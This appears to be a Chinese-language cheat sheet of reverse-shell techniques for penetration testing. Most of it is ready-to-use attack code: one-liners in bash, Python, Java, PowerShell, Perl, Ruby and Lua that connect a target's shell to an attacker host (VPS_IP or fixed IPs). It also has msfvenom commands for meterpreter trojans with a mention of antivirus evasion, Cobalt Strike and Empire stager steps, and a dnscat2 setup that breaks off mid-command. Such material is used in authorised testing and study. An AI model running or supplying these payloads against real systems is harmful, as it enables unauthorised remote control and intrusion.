dacj4n's

1
exec 5<>/dev/tcp/VPS_IP/端口;cat <&5 | while read line; do $line 2>&5 >&5;done

1
import os
2
import socket
3
import subprocess
4

5
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
6
s.connect(('VPS_IP', 端口))
7
os.dup2(s.fileno(), 0)
8
os.dup2(s.fileno(), 1)
9
os.dup2(s.fileno(), 2)
10
p = subprocess.call(['/bin/bash', '-i'])

1
public class Revs {
2
    /**
3
    * @param args
4
    * @throws Exception
5
    */
6
public static void main(String[] args) throws Exception {
7
        // TODO Auto-generated method stub
8
        Runtime r = Runtime.getRuntime();
9
        String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/192.168.95.4/1234;cat <&5 | while read line; do $line 2>&5 >&5; done"};
10
        Process p = r.exec(cmd);
11
        p.waitFor();
12
    }
13
}
14

15
上面文件保存为Revs.java文件，编译执行，成功反弹shell。

1
javac Revs.java
2

3
目标若没有javac编译环境，只有java环境，可以先编译好上传再运行
4
java Revs     # kali测试成功

1
msfvenom -l payloads | grep 'cmd/windows/reverse'
2
msfvenom -p cmd/windows/reverse_powershell lhost=192.168.43.74 lport=1234
3

4
生成payload：
5

6
powershell -w hidden -nop -c $a='192.168.43.74';$b=1234;$c=New-Object system.net.sockets.tcpclient;$nb=New-Object System.Byte[] $c.ReceiveBufferSize;$ob=New-Object System.Byte[] 65536;$eb=New-Object System.Byte[] 65536;$e=new-object System.Text.UTF8Encoding;$p=New-Object System.Diagnostics.Process;$p.StartInfo.FileName='cmd.exe';$p.StartInfo.RedirectStandardInput=1;$p.StartInfo.RedirectStandardOutput=1;$p.StartInfo.RedirectStandardError=1;$p.StartInfo.UseShellExecute=0;$q=$p.Start();$is=$p.StandardInput;$os=$p.StandardOutput;$es=$p.StandardError;$osread=$os.BaseStream.BeginRead($ob, 0, $ob.Length, $null, $null);$esread=$es.BaseStream.BeginRead($eb, 0, $eb.Length, $null, $null);$c.connect($a,$b);$s=$c.GetStream();while ($true) {    start-sleep -m 100;    if ($osread.IsCompleted -and $osread.Result -ne 0) {      $r=$os.BaseStream.EndRead($osread);      $s.Write($ob,0,$r);      $s.Flush();      $osread=$os.BaseStream.BeginRead($ob, 0, $ob.Length, $null, $null);    }    if ($esread.IsCompleted -and $esread.Result -ne 0) {      $r=$es.BaseStream.EndRead($esread);      $s.Write($eb,0,$r);      $s.Flush();      $esread=$es.BaseStream.BeginRead($eb, 0, $eb.Length, $null, $null);    }    if ($s.DataAvailable) {      $r=$s.Read($nb,0,$nb.Length);      if ($r -lt 1) {          break;      } else {          $str=$e.GetString($nb,0,$r);          $is.write($str);      }    }    if ($c.Connected -ne $true -or ($c.Client.Poll(1,[System.Net.Sockets.SelectMode]::SelectRead) -and $c.Client.Available -eq 0)) {        break;    }    if ($p.ExitCode -ne $null) {        break;    }}
7

8
攻击IP进行监听：
9

10
nc -lvp 1234
11

12
目标在cmd中运行payload

1
当然msfvenom还可以生成各种木马程序，甚至进行免杀，在msfconsole中进行监听，同时还有反向连接和正向连接的不同 payload 选择
2

3
windows一般生成.exe，linux生成.elf
4

5
eg：
6
msfvenom -p windows/x64/meterpreter/bind_tcp rhost=靶机IP lport=监听端口 -f exe -o shell.exe     # windows 正向
7

8
msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=VPS_IP lport=监听端口 -f elf -o shell.elf     # linux 反向

1
msf中如果是python反弹的shell，则没有交互，不能通过pty模块建立交互式shell，需要上线到nc中进行引用pty模块
2
监听nc -lvvp 5555
3
反弹nc -e /bin/sh 10.1.239.128 5555
4
失败，目标系统的nc版本没有-e参数
5
使用msfvenom生成nc反弹命令：msfvenom -p cmd/unix/reverse_netcat lhost=10.1.239.128 lport=5555 R
6
得到一句话反弹命令：mkfifo /tmp/hvlgtg; nc 10.1.239.128 5555 0</tmp/hvlgtg | /bin/sh >/tmp/hvlgtg 2>&1; rm /tmp/hvlgtg
7
在msf的shell中执行命令，并在本地nc监听成功上线
8
执行python -c "import pty;pty.spawn('/bin/bash');"成功得到可交互shell

1
sh：
2
perl -e 'use Socket;$i="VPS_IP";$p=端口;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
3

4
bash：
5
perl -e 'use Socket;$i="VPS_IP";$p=端口;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'

1
安装依赖模块
2

3
perl -MCPAN -e shell
4
install LWP::Simple(模块名称)

1
nc -lvnp
2

3
ruby -rsocket -e 'c=TCPSocket.new("IP","Port");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

1
上线要有 ./teamserver

1
1、配置监听器：点击Cobalt Strike——>Listeners——>在下方Tab菜单Listeners，点击add。
2
2、生成payload：点击Attacks——>Packages——>Windows Executable，保存文件位置。
3
3、目标机执行powershell payload

1
lua -e "require('socket');require('os');t=socket.tcp();t:connect('VPS_IP','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"

1
usestager windows/launcher_vbs
2
info
3
set Listener test
4
execute

1
https://github.com/samratashok/nishang

1
https://github.com/iagox86/dnscat2

1
服务端：
2

3
ruby dnscat2.rb --dns "domain=lltest.com,host=xx.xx.xx.xx" --no-cache -e open -e open
4

5
目标主机：
6

7
powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubuserconte